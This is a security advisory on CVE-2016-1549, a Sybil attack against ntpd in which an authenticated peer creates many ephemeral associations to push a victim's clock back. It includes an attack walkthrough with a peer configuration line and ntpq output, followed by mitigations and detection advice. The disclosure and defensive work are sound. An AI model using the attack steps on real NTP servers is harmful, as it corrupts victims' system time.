Talos Vulnerability Report

TALOS-2016-0083

Network Time Protocol Ephemeral Association Time Spoofing Vulnerability

April 26, 2016

Report ID

CVE-2016-1549

Summary

ntpd is vulnerable to Sybil attacks. A malicious authenticated peer can create arbitrarily-many ephemeral associations in order to win ntpd’s clock selection algorithm and modify a victim’s clock.

Tested Versions

NTP 4.2.8p3
NTP 4.2.8p4
NTPsec 3e160db8dc248a0bcb053b56a80167dc742d2b74
NTPsec a5fb34b9cc89b92a8fef2f459004865c93bb7f92

Product URLs

http://www.ntp.org
http://www.ntpsec.org/

CVSSv3 Score

CVSSv2: 3.5 - (AV:N/AC:M/Au:S/C:N/I:P/A:N)
CVSSv3: 5.3 - CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N

Details

ntpd has the ability to create ephemeral peer associations on the fly in response to certain kinds of incoming requests. In most common configurations, if an incoming request will cause a new ephemeral association to be mobilized, ntpd requires the request to be authenticated under a trusted symmetric key. However, ntpd does not enforce any limit on the number of active ephemeral associations that may be created under a single key making ntpd vulnerable to Sybil attacks.

A malicious authenticated peer can use its knowledge of the trusted key that it shares with a victim ntpd process in order to create multiple ephemeral associations with the victim from different source IP addresses. Each of these malicious associations can advertise false time to the victim. If the malicious associations providing consistent false time advertisements outweigh the number of legitimate peer associations, the victim will sync to the time advertised by the attacker.

RFC 5905 does not appear to mandate any specific behavior with regard to authenticating ephemeral associations. Therefore, we recommend that an incoming request only mobilize an ephemeral association if both of the following conditions hold:

  • There are no non-preemptable peer associations configured to use that key.

    This prevents ephemeral associations from being created by configured, non-preemptable peers.

  • There are no preemptable peer associations authenticated under that key.

    This prevents a malicious ephemeral peer from creating more than one peer association using a given key. If the IP address of an ephemeral peer changes, eventually the association will be demobilized at which time a new incoming request can cause a new association to be mobilized with a new IP address.

    An alternative allowing faster failover: when an incoming request will mobilize a new ephemeral association, demobilize all preemptable peer associations authenticated under the key used to authenticate the incoming request before the new association is mobilized.

This vulnerability has been successfully exploited using symmetric ephemeral associations. However, ephemeral broadcast and manycast associations are also likely to be vulnerable.

To our knowledge, any ntpd instance configured using the ‘trustedkey’ directive is vulnerable, as in:

keys /etc/ntp.keys
trustedkey 1 ...

There do not appear to be any other configuration directives that would affect or mitigate this vulnerability. ntpd instances that are not configured with the ‘trustedkey’ directive are not vulnerable.

Though this vulnerability has only been confirmed against specific releases of NTP and NTPsec, any release of ntp-3 or ntp-4 may be affected.

Attack Scenario

To illustrate this attack, a malicious authenticated ephemeral peer (attacker1) with knowledge of keyid 2 trusted by ntp-client-4.2.8p4 will create multiple malicious ephemeral peer associations with ntp-client-4.2.8p4, overwhelm the victim’s legitimate time sources, and cause ntp-client-4.2.8p4 to modify its clock. We will illustrate this by querying ntp-client-4.2.8p4 for its active peer associations with:

ntpq -c lpeer

Initially, ntp-client-4.2.8p4 is peered with one legitimate server (ntp-server).

     remote           refid      st t when poll reach   delay   offset  jitter
==============================================================================
*ntp-server      .LOCL.           1 u    5    8  377    0.043   -0.051   0.414

As a proof-of-concept, the attacker will attempt to move the victim’s clock back by an amount just under the panic threshold, 15 minutes in this case. (Significantly larger steps have been achieved with some ntpd releases.) The attacker spins up three attacking nodes at different IP addresses (attacker1..3).

After the attacking nodes are well synchronized, the attacker commences the attack by adding the following configuration line to each attacking node instructing it to peer with the victim using keyid 2:

peer ntp-client-4.2.8p4 key 2 noselect minpoll 3 maxpoll 3

As a result, we see that ntp-client-4.2.8p4 now has 3 new malicious peers.

     remote           refid      st t when poll reach   delay   offset  jitter
==============================================================================
*ntp-server      .LOCL.           1 u    3    8  377    0.130    0.479   0.399
 attacker1       .LOCL.           1 S    5    8    1    0.000    0.000   0.000
 attacker2       192.168.33.14    2 S    5    8    1    0.000    0.000   0.000
 attacker3       192.168.33.14    2 S    4    8    1    0.000    0.000   0.000

The attackers consistently provide time advertisements that are about 15 minutes behind the time advertised by the legitimate ntp-server. Because the attackers outnumber legitimate peers, eventually the victim selects an attacker as its system peer indicating that it will synchronize its time to the attackers.

     remote           refid      st t when poll reach   delay   offset  jitter
==============================================================================
xntp-server      .LOCL.           1 u    1    8  377    0.130    0.479   0.501
*attacker1       .LOCL.           1 S    2    8    3    0.457  -931554   0.000
+attacker2       192.168.33.14    2 S    2    8    3    0.644  -931553   0.000
+attacker3       192.168.33.14    2 S    1    8    3    0.583  -931553   0.000

Eventually, the victim steps its clock.

     remote           refid      st t when poll reach   delay   offset  jitter
==============================================================================
 ntp-server      .STEP.          16 u    -    8    0    0.000    0.000   0.000
 attacker1       .STEP.          16 S   14    8    0    0.000    0.000   0.000
 attacker2       .STEP.          16 S   52    8    0    0.000    0.000   0.000
 attacker3       .STEP.          16 S   45    8    0    0.000    0.000   0.000

After stepping the clock, we see that the victim is 931 seconds behind ntp-server confirming the attack.

     remote           refid      st t when poll reach   delay   offset  jitter
==============================================================================
*ntp-server      .LOCL.           1 u    2    8    1    0.379  931553.   0.317
 attacker1       .STEP.          16 S   19    8    0    0.000    0.000   0.000
 attacker2       .STEP.          16 S   57    8    0    0.000    0.000   0.000
 attacker3       .STEP.          16 S   50    8    0    0.000    0.000   0.000

While ntp-server is initially selected as the system peer after the clock step, the attacking nodes quickly regain their status as preferred time sources.

     remote           refid      st t when poll reach   delay   offset  jitter
==============================================================================
xntp-server      .LOCL.           1 u    5    8    3    0.278  931552.   0.638
*attacker1       .LOCL.           1 S    4    8    6    0.044   -0.346   0.049
+attacker2       192.168.33.14    2 S    4    8    6    0.593    0.520   0.441
+attacker3       192.168.33.14    2 S    3    8    6    0.758    0.020   0.074

At this point, the attacker has control of the victim’s clock and can continue to make modifications.

Mitigation

The most complete mitigation is to upgrade to ntp-TBD or NTPsec TBD. If your system’s ntpd is packaged by the system vendor, apply your vendor’s security update as soon as it becomes available.

Administrators that are not using authenticated NTP can prevent exploitation by removing any unused ‘trustedkey’ configuration directives from their ntpd configuration file.

If your system supports a host-based firewall which blocks incoming traffic, such as the Windows Firewall, Mac OS X Application Firewall, or firewalls such as Uncomplicated Firewall or iptables on Linux, you should enable it.

For other systems, appropriate firewall rules will depend on your environment. Use the following recommendations as a guideline:

  • NTP clients should block incoming NTP packets from any IP address that is not a known, legitimate peer

  • NTP servers should block incoming symmetric active (NTP mode 1), server (NTP mode 4), and broadcast (NTP mode 5) packets from any IP address that is not a known, legitimate peer

Detection

In most common configurations, you can use ntpq to query the ntpd process running on your system for its list of peers. Any unexpected peers that are not configured in your ntp.conf file could indicate an attack. For example, if your system is configured to be a client of ntp-server and you expect one peer (known-peer), the appearance of additional peers (sybil) could indicate an attack:

$ ntpq -c lpeer

     remote           refid      st t when poll reach   delay   offset  jitter
==============================================================================
*ntp-server      .LOCL.           1 u    1    8  377    0.130    0.479   0.501
 known-peer      .LOCL.           1 S    2    8    3    0.457  -931554   0.000
 sybil           192.168.33.14    2 S    2    8    3    0.644  -931553   0.000

You can delete any rogue associations by restarting ntpd after applying the mitigations above.

If you have a compatible IDS product, the following Snort rules detect exploits of this vulnerability: TBD.

At the network level, multiple symmetric, broadcast, or manycast associations using the same keyid could indicate an attack.

Credit

Discovered by Matthew Van Gundy of Cisco ASIG.

Timeline

2016-01-19 - CERT reports to NTP